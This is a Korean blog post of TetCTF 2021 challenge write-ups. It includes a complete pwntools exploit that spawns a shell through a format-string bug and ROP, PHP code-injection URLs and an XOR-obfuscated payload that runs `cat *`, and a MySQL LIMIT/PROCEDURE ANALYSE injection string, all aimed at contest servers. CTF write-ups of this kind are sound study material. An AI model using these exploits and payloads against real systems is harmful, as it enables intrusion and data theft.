본문으로 바로가기

TetCTF 2021

category CTF/CTF Playground 2021. 1. 9. 04:31

이상한 CTF 하느라 대회 기간에는 참여를 못했고, 대회가 끝나고 나서 몇몇 문제들을 풀어봤다.

 

PWNABLE :: warmup

주어진 라이브러리의 BuildID에서 실행 환경이 Linux Ubuntu 16.04임을 알 수 있다.

 

바이너리를 쭉 살펴보면 FSB가 발생하는 곳이 한 군데 보인다.

 

void __fastcall print_fsb(const char *msg)
{
  int i// [rsp+1Ch] [rbp-4h]

  printf(msg);
  for ( i = strlen(msg); i <= 0x30; ++i )
    putchar(' ');
  puts("*");
}

 

바이너리가 PIE이고 이 코드는 딱 한번밖에 실행되지 않기 때문에 스택에서 조작할 수 있는 값을 쭉 찾아보았다.

 

gdb-peda$ stack 25
0000| 0x7fff4cea23c0 --> 0x55708db2b270 ('*' <repeats 50 times>)
0008| 0x7fff4cea23c8 --> 0x55708e2ed428 ("whatzefuk???")
0016| 0x7fff4cea23d0 --> 0x0 
0024| 0x7fff4cea23d8 --> 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
0032| 0x7fff4cea23e0 --> 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
0040| 0x7fff4cea23e8 --> 0x55708db2ae9f (lea    rdi,[rip+0x3ca]        # 0x55708db2b270)
0048| 0x7fff4cea23f0 --> 0x0 
0056| 0x7fff4cea23f8 --> 0x55708e2ed420 --> 0x55708dd2c050 --> 0x64 ('d')
0064| 0x7fff4cea2400 --> 0x0 
0072| 0x7fff4cea2408 --> 0x0 
0080| 0x7fff4cea2410 --> 0x1 
0088| 0x7fff4cea2418 --> 0x0 
0096| 0x7fff4cea2420 --> 0x0 
0104| 0x7fff4cea2428 --> 0x6809c21ac91c6400 
0112| 0x7fff4cea2430 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
0120| 0x7fff4cea2438 --> 0x0 
0128| 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
0136| 0x7fff4cea2448 --> 0x55708db2b0c3 (lea    rdi,[rip+0x297]        # 0x55708db2b361)
0144| 0x7fff4cea2450 --> 0x55708db2ab00 (xor    ebp,ebp)
0152| 0x7fff4cea2458 --> 0x55708e2ed420 --> 0x55708dd2c050 --> 0x64 ('d')
0160| 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
0168| 0x7fff4cea2468 --> 0x55708db2b1c2 (mov    eax,0x0)
0176| 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
0184| 0x7fff4cea2478 --> 0x7f1f2bada840 (<__libc_start_main+240>:    mov    edi,eax)
0192| 0x7fff4cea2480 --> 0x1

 

rsp+0x38 이나 rsp+0x98 위치에 흥미로운 데이터가 보인다. 해당 포인터는 플레이어 객체를 할당받을 때 생성된다.

 

void __fastcall game()
{
  Player *player// [rsp+8h] [rbp-8h]

  buf = calloc(0x400uLL1uLL);
  player = (Player *)calloc(0x88uLL1uLL);
  player->money = &a1;

  do
  {
    printf("How much money you want? ");
    read_long(&a1);
  }
  while ( a1 > 0x8000000000000000LL );

  play(player);
  puts("Game Over");
  printf("Your money: %lu ZWD\n"a1);
  printf("Send to author your feeback: ");
  read(0buf0x400uLL);
  puts("Thank for your feedback");
}

 

.bss:0000000000202050 ; uint64_t a1
.bss:0000000000202050 a1              dq ?                    ; DATA XREF: game+35↑o
.bss:0000000000202050                                         ; game+50↑o ...
.bss:0000000000202058 ; void *buf
.bss:0000000000202058 buf             dq ?                    ; DATA XREF: game+17↑w
.bss:0000000000202058                                         ; game+B6↑r

 

player->moneya1 의 주소를 저장하고 있는데, FSB로 1바이트를 바꿔서 이 값을 buf 의 주소로 바꿀 수 있다.

그리고 play 함수의 실행이 끝나고 나면 buf 에 0x400 크기의 임의의 데이터를 쓸 수 있다는 점 역시 눈에 띈다.

 

    printf("Round: %d\n"rounds);
    printf("Your money: %lu ZWD\n", *player->money);
    printf("Your bet (= 0 to exit): ");
    read_long(&bet);
    if ( !bet )
      break;
    printf("Your choice: ");
    choice = read_int();
    r = rand();
    printf("Lucky number: %u\n"r);

    if ( choice == r )
    {
      *player->money += bet + rand();
    }
    else
    {
      *player->money -= bet + rand();
    }

    ++rounds;

 

play 함수의 반복문에서 player->money 에 값을 쓰는 부분이 존재한다. FSB로 player->moneybuf 의 주소로 바꾸고 나면 buf 에 들어있는, calloc 으로 할당받은 힙 영역의 주소를 다른 값으로 바꿀 수 있다. 만약 이 값을 적절한 주소값으로 변경했다면, game 함수의 buf 에 입력받는 코드를 통해 해당 주소에 0x400 크기의 값을 자유롭게 쓸 수 있게 된다.

 

player->money 값이 변경될 때 rand 를 사용한 랜덤값이 관여한다. 이 값을 제어할 수 있는 방법을 찾아보기 위해 seed를 설정하는 곳을 살펴보니...

 

  fd = open("/dev/urandom"0);
  if ( fd < 0 )
  {
    puts("Error");
    exit(0);
  }
  read(fd, &buf3uLL);
  close(fd);
  srand(buf);

 

임의의 3바이트 값이 들어간다.

3바이트로 표현할 수 있는 수는 0부터 16777215까지이고, 이는 간단한 수준의 브루트포스로 해결할 수 있다.

 

홀수 번째의 rand 실행 결과값을 각 seed별로 저장하고, 프로그램에서 lucky number로 출력해 주는 값을 보면서 seed를 추측할 수 있다. 해당 값이 하나로 확정이 되면 rand 의 결과값을 예측하는 게 가능해지므로 buf 에 원하는 주소값을 쓸 수 있게 된다.

 

어떤 값을 쓸 것인지가 중요한데, _rtld_global 을 덮어서 _dl_fini 루틴을 조작하는 시나리오와 스택에서 ROP를 하는 시나리오를 생각해 봤다. 전자는 아직 해본 경험이 없고 입력 크기 제한 때문에 조금 더 이지한 후자로 코드를 작성했다.

앞서 FSB에서 %p 로 알아낸 stack & libc 주소들을 바탕으로 오프셋을 잘 계산해서 써 주었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
import argparse
import ctypes as c


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))


def rand(seed:intcount:int) :
    _srand(seed)

    for i in range(count-1) :
        _rand()

    return _rand()

def exploit() :
    cds, new_cds = [i for i in range(0x100**3)], []

    p.writelineafter(b'How much money you want? 'b'1')
    p.writelineafter(b'Player name: 'b'%88c%13$hhn%26$p %29$p')
    p.readuntil(b'Danh de ra de ma` o? =]]                         *\n**************************************************\n')
    r = p.readline(keepends=False)[88:].split(b' ')[:2]

    stack_ret = int(r[0], 16) - 8
    libc_base = int(r[1], 16) - 0x20840
    libc_system = libc_base + 0x453A0
    pop_rdi_ret = libc_base + 0x21112

    log_info('stack ret: '+hex(stack_ret))
    log_info('libc base address: '+hex(libc_base))
    log_info('system = '+hex(libc_system))
    log_info('gadget (pop rdi ; ret): '+hex(pop_rdi_ret))

    rounds = 1

    while len(cds) != 1 :
        log_info('Round: {}'.format(rounds))

        p.readuntil(b'Your bet (= 0 to exit): ')
        p.writeline(b'1')
        p.readuntil(b'Your choice: ')
        p.writeline(b'0')

        p.readuntil(b'Lucky number: ')
        r = int(p.readline(keepends=False))

        for cd in cds :
            if rand(cd, rounds*2-1) == r :
                new_cds.append(cd)
                log_info('  found {}'.format(cd))

        rounds += 1
        cds = new_cds

    seed = cds[0]
    log_info('seed = {}'.format(seed))

    p.readuntil(b'Your money: ')
    val = int(p.readuntil(b' ZWD'drop=True))
    log_info('Current value = '+hex(val))

    # the difference of addresses between .data section (0x55..........) and libc (0x7f..........) is
    # approximately 0x2a0000000000, which exceeds RAND_MAX (2^32-1) ; so we can always add values
    # without concerns about calibration.
    lucky = rand(seed, rounds*2-1)
    diff = rand(seed, rounds*2)

    p.readuntil(b'Your bet (= 0 to exit): ')
    p.writeline(str(stack_ret-val-diff).encode())
    p.readuntil(b'Your choice: ')
    p.writeline(str(lucky).encode())

    p.readuntil(b'Your bet (= 0 to exit): ')
    p.writeline(b'0')
    p.readuntil(b'Send to author your feeback: ')

    payload = p64(pop_rdi_ret)
    payload += p64(stack_ret + 0x18)
    payload += p64(libc_system)
    payload += b'/bin/sh\x00'

    p.write(payload)

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('192.46.228.70'32337)
    else :
        p = process('./warmup')

    libc = c.cdll.LoadLibrary('libc-2.23.so')
    _srand, _rand = libc.srand, libc.rand
    _srand.argtypes, _rand.argtypes = (c.c_uint32,), ()
    _srand.restype, _rand.restype = None, c.c_int32

    exploit()

 

1. TetCTF 문제 수준이 높아서 그런지 warmup 인데 나름 풀기가 까다롭다. (시나리오 세우기는 쉬운데 코딩이 힘들다...)

2. 테스트 결과 첫 번째 rand 결과값이 중복되는 경우가 대략 5만개 존재하기 때문에 seed 후보가 1개가 될때까지 반복 실행하도록 작성했다. (중복 케이스가 걸리지 않을 확률이 대략 0.38% 이긴 하지만 완벽한 익스 코드를 만들기 위해서 약간 추가적인 삽질을 했다)

 

Flag: TetCTF{viettel: *100*311267385452644#}

 

PWNABLE :: babyformat

leak이 불가능한 FSB 문제이다.

(작성중)

 

CRYPTO :: unimplemented

RSA인데 base가 복소수이며, \(N=p^{2}q^{2}\) 이다. 비밀키와 공개키가 모두 주어졌기 때문에 복호화 코드를 올바르게 작성하면 끝나는 문제다.

먼저 Euler's Theorem을 Gaussian integer에서 확장한 정리를 살펴보면,

\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\eta\mathrm{,\ }\alpha^{\phi\left(\eta\right)}\mathrm{\ is\ congruent\ to\ }1\mathrm{\ modulo\ }\eta\mathrm{.}\]

Gaussian integer에서 정의되는 Euler totient function은 아래와 같다.

\[\phi\left(\eta\right)=N(\eta)\prod_{\pi|\eta}\left(1-\frac{1}{N\left(\pi\right)}\right)\]

여기서 \(N\)은 Gaussian integer에 대한 norm function이며, \(\alpha=a+bi\) 일 때 \(N\left(\alpha\right)=a^{2}+b^{2}\) 이다.

 

Euler's totient function 역시 Gaussian integer로 확장될 수 있다. 그 중에서 문제에 필요한 2가지 특징을 아래에 적어보았다.

첫 번째는, 확장된 함수가 multiplicative 하다는 점이다.

\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\beta\mathrm{,\ }\phi\left(\alpha\beta\right)=\phi\left(\alpha\right)\phi\left(\beta\right)\mathrm{.}\]

두 번째는 Gaussian prime의 거듭제곱에 대한 함수값에 대한 내용이다.

\[\mathrm{For\ Gaussian\ prime\ }\pi\mathrm{\ and\ positive\ integer\ }k{,\ }\phi\left(\pi^{k}\right)=N\left(\pi\right)^{k}\left(1-\frac{1}{N\left(\pi\right)}\right)\mathrm{.}\]

 

다시 문제로 돌아와서, \(d=\phi\left(p^{2}q^{2}\right)\) 를 위 특징을 사용하여, 아래처럼 식을 전개해 구할 수 있다.

\[d=\phi\left(p^{2}q^{2}\right)=\phi\left(p^{2}\right)\phi\left(q^{2}\right)=N\left(p\right)^{2}\left(1-\frac{1}{N\left(p\right)}\right)N\left(q\right)^{2}\left(1-\frac{1}{N\left(q\right)}\right)=p^{4}\left(1-\frac{1}{p^{2}}\right)q^{4}\left(1-\frac{1}{q^{2}}\right)=p^{2}q^{2}\left(p^{2}-1\right)\left(q^{2}-1\right)\]

이 값을 \(d\)로 설정하고 복호화를 진행하면 플래그를 얻을 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from sage.all import *
from collections import namedtuple
from Crypto.Util.number import bytes_to_long, long_to_bytes


Complex = namedtuple("Complex", ["re""im"])

private_key = (128329415694646850105527417663220454989310213490980740842294900866469518550360977403743209328130516433033852724185671092403884337579882897537139175073013,
               119773890850600188123646882522766760423725010264224559311769920026142724028924588464361802945459257237815241227422748585976629359167921441645714382651911)
public_key = 236252683050532196983825794701514768601125614979892312308283919527619033977486749228418695923608569040825653688303374445536392159719426640289893369552258923597180869981053519695297428186215135878525530974780390951763007339139013157234202093279764459949020588291928614938201565110828675907781512603972957429701280916745719458738970910789383870206038035515777549907045905872280803964436193687072794878040018900969772972761081589529671158140590712503582004892067155769362463889653489918914397872964087471457070748108694165412065471040954221707557816986272311750297566993468288899523479556822418109112211944932649
ciphertext = b'\x00h\xbe\x94\x8c\xcd\xdd\x04\x80\xf4\x9d\t\xd8\x8dO\x08\xf1\xd1\xc4\xb9\xa06\xe7\xe3\xb6\xc3\x01+\xa9\xf2\xb9\xe8\x8d\xe6\xc9\x0c_#\x93\x11\xad\x0f\x90\xd3\x0b6\xb0n\x13\xea~"V6\xdbA&\x87\xfe\xa3C\xcb\x16\xae\xd9\x83\xdbU\xc6\x06\xcd\x9a\x94\xa9\xce\x15{d\x95s\xc2\xfb\x90q\xe7\x02\xa2\x081:_C\xc68\x00y\x7fj4@\xd2\xcdE\x06\x943\xbe\xbcC3\xca\x91\xb4\x0e}C\xab\xff?X\xc30u\x069:Dc\xb5\xdc\x9b0%\x98\xbd\xd9\x13\xc0\x02w\xc5\xe5:\xca\xcf\x0c\xab\xc2\x9b}\xab\xd0\xcc\xbc\x0f\x9e9\t\xf7M\xb3\xed\x86\xb5E\x8b\xbc4\xfaH\x9b4\x1c\xc4\xab\xc0\xaf\x8a5XcX\x19K\xed\x19\xe1\x1c\xd0\x1e\x97c\x9fF:L\x9d\x90p\x99\xb8\xde\xcblM\xb3\x80sSL\xe1\xa4\xd6,\x81\xd6\x9c\xf1\xbb\x9c)\xf03\x155\xc0\xd5v\x13\xd6#\xb7\x19\xdea%\xce<\x1c\xf7\xf2!;\xc1\xd7w\xd1\xc8\x8d/\xaew\xa1\x1d\xc5(\xc8\x9d\x82v\xf6j\x90A,e\xbd\xa7]\x10\x8f\xe5\xe7\x93}:\xdf1~\xec\xd0-o`\r\x96\xe4\x03\xb9E\x9fdF\xc3\xf8L\xa0\xda\xf0E[\xf7\x02\xef|*\x08\x8a5pI&\xa9i\x0fZ\xa8\xb3H\xed\xe8v\xc4H\xff\xdb\xcb\x00\xf1\xae\x9bO\x18\xd5\xd8&p\xf5\xf6\xe9\xf1\x1brs\xc2\r\xceZ\xd0\xb24\x97+\x98b\x0e\xbb\xb8.\x8dT\xe4"\xad\xe4\xa3f\xd0M\xbf\xafX\xbb"[\x99\xdap\xa5\xcfT2Wx\x87M\x7f\x99!>B[Q\x04\xf6\x03\xbc\x84\xf4\xdfj\xdd1^I\x1a\x05\x81\x91\xde9Mf*\x8e\x8d\xe64\xf8\x93\x99&yP\xcd\x00!\x82\xab\xbcy\xed\xf1\x13\xd3\x81\xeaz\xbbP>\x9a2\x8c\x08\x0es\xbc\xa9\xf6\xa3\x8c\xb0\xb9t\xd9?\x06@\xc9\x90\xb7\xa7<\x85\xeb\x1a\x88#\x1c\xc3 \xec\xc7\x94d\x99\xd6\x8e>\x06\xf8Y\xf4\x19\xcaI/hy\x18\x8e\x0e8\xf8\r\xbb\xf6\x11\xb9\x8dCWB6 '


def complex_mult(c1c2modulus) :
    return Complex(
        (c1.re * c2.re - c1.im * c2.im) % modulus,  # real part
        (c1.re * c2.im + c1.im * c2.re) % modulus,  # image part
    )

def complex_pow(cexpmodulus) :
    result = Complex(10)
    while exp > 0 :
        if exp & 1 :
            result = complex_mult(result, c, modulus)
        c = complex_mult(c, c, modulus)
        exp >>= 1
    return result

def unpad(data) :
    assert b"\x00" in data, "incorrect padding"
    return data.split(b"\x00"1)[1]

def decrypt(private_keyciphertext) :
    n = public_key
    p, q = private_key
    d = inverse_mod(65537, p**2*q**2*(p**2-1)*(q**2-1))
    c = Complex(
        bytes_to_long(ciphertext[:len(ciphertext) // 2]),
        bytes_to_long(ciphertext[len(ciphertext) // 2:])
    )
    m = complex_pow(c, d, n)

    return unpad(long_to_bytes(m.re) + long_to_bytes(m.im))

def main() :
    flag = decrypt(private_key, ciphertext)
    print(flag)


if __name__ == '__main__' :
    main()

 

Flag: TetCTF{c0unt1ng_1s_n0t_4lw4ys_34sy-vina:*100*48012023578024#}

 

WEB :: HPNY

http://139.180.155.171:8003/?roll=var_dump(scandir(getcwd())).die

 

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(39) "fl4g_here_but_can_you_get_it_hohoho.php" [3]=> string(9) "index.php" }

 

http://139.180.155.171:8003/?aaa=bbb&roll=var_dump(get_defined_vars()).die

 

array(5) { ["_GET"]=> array(2) { ["aaa"]=> string(3) "bbb" ["roll"]=> string(32) "var_dump(get_defined_vars()).die" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["wl"]=> int(1) }

 

http://139.180.155.171:8003/?aaa=fl4g_here_but_can_you_get_it_hohoho.php&roll=readfile(pos(pos(get_defined_vars()))).die

 

Flag: TetCTF{lixi_50k_<3_vina_*100*25926415724382#}

 

WEB :: Super Calc

문자열을 xor 연산할 수 있는 PHP의 특징을 잘 써먹으면 된다.

아래와 같은 도구를 만들어서 글자 하나를 적절한 조합으로 바꿔주게 했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from itertools import combinations

CHARSET = '0123456789+-*/().~^|&'

def find(c) :
    assert(len(c) == 1)

    for recursive_level in range(len(CHARSET)) :
        for cs in combinations(CHARSET, recursive_level) :
            val = 0

            for t in cs :
                val ^= ord(t)

            if ord(c) == val :
                return cs

if __name__ == '__main__' :
    while True :
        c = input('> ')
        res = find(c)

        print(', '.join("'{}'".format(r) for r in res))

 

한편 PHP의 연산자를 찾아보던 중 execution operator라는 생소한 것을 발견하게 되었다. (https://www.php.net/manual/en/language.operators.execution.php)

`cat *` 을 실행시켜 파일을 모두 출력하도록 했다.

 

`cat *` 을 각 글자마다 변환하면 아래와 같은 문자열이 만들어진다.

 

('0'^'.'^'~').('0'^'-'^'~').('0'^'-'^'|').('*'^'^').('~'^'^').'*'.('0'^'.'^'~')

 

글자 수 제한에 맞추기 위해 몇몇 글자들을 묶어서 아래와 같이 처리했다.

 

('.-'^'00'^'~~').('0'^'-'^'|').('*~'^'^^').'*'.('0'^'.'^'~')

 

Flag: TetCTF{_D0_Y0u_Know_H0w_T0_C4lculat3_1337?_viettel_*100*817632506233949#}

 

WEB :: mysqlimit

https://hyunmini.tistory.com/46

 

1/**/LIMIT/**/2,1/**/PROCEDURE/**/ANALYSE(1)

 

Flag: TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_<3_vina_*100*28904961445554#}

 

MISC :: Welcome

Flag: TetCTF{dmlldHRlbDogKjEwMCo0MTk4NjIzMDkwMzMxWFgj}

'CTF > CTF Playground' 카테고리의 다른 글

Brixel CTF winter edition  (0) 2021.01.06
IJCTF 2020  (0) 2020.04.27
Houseplant CTF  (0) 2020.04.27
TAMUctf 2020  (0) 2020.03.30
Securinets Prequals 2K20  (0) 2020.03.23